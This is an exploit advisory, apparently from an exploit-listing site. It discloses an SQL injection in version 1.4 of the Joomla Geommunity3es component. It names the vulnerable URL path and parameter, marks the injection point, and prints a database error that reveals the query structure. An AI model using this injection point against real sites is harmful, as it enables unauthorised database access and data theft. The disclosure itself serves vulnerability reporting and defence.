#################################################################### # Exploit Title : Joomla Geommunity3es Components 1.4 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 25/02/2019 # Vendor Homepage : nordmograph.com # Software Download Link : nordmograph.com/extensions /index.php?option=com_virtuemart&view=productdetails &virtuemart_product_id=142&virtuemart_category_id=7&Itemid=58 # Software Information Link : extensions.joomla.org/extension/geommunity/ # Software Affected Version : 1.4 # Software Price : Paid download - 10 Euro # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** Geommunity3 (for any located Joomla & 3rd party content) is the host component to locate, on AJAX Google Maps, all your Joomla 3rd party extensions content via plugins. #################################################################### # Impact : *********** Joomla Geommunity3es Components 1.4 component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. #################################################################### # SQL Injection Exploit : ********************** /index.php/component/geommunity3es/?view=videomarkers&format=json /index.php/component/geommunity3es/?view=videomarkers&format=[SQL Injection] #################################################################### # Example SQL Database Error : **************************** 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND ) AND ( longitude BETWEEN AND 180 OR longitude BETWEEN -180 AND )' at line 8 SQL=SELECT sa.id , sa.title , sl.latitude, sl.longitude , spi.value AS privacy_value FROM #__social_albums sa JOIN #__social_locations sl ON sl.uid = sa.id LEFT JOIN #__social_privacy_items spi ON spi.uid = sa.id AND spi.type='albums' AND spi.user_id = sa.user_id WHERE sl.type='albums' AND (spi.value='0' OR spi.value IS NULL) HAVING sl.latitude !='' AND sl.longitude !='' AND latitude !='0' AND longitude !='0' AND ( latitude BETWEEN AND ) AND ( longitude BETWEEN AND 180 OR longitude BETWEEN -180 AND ) #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################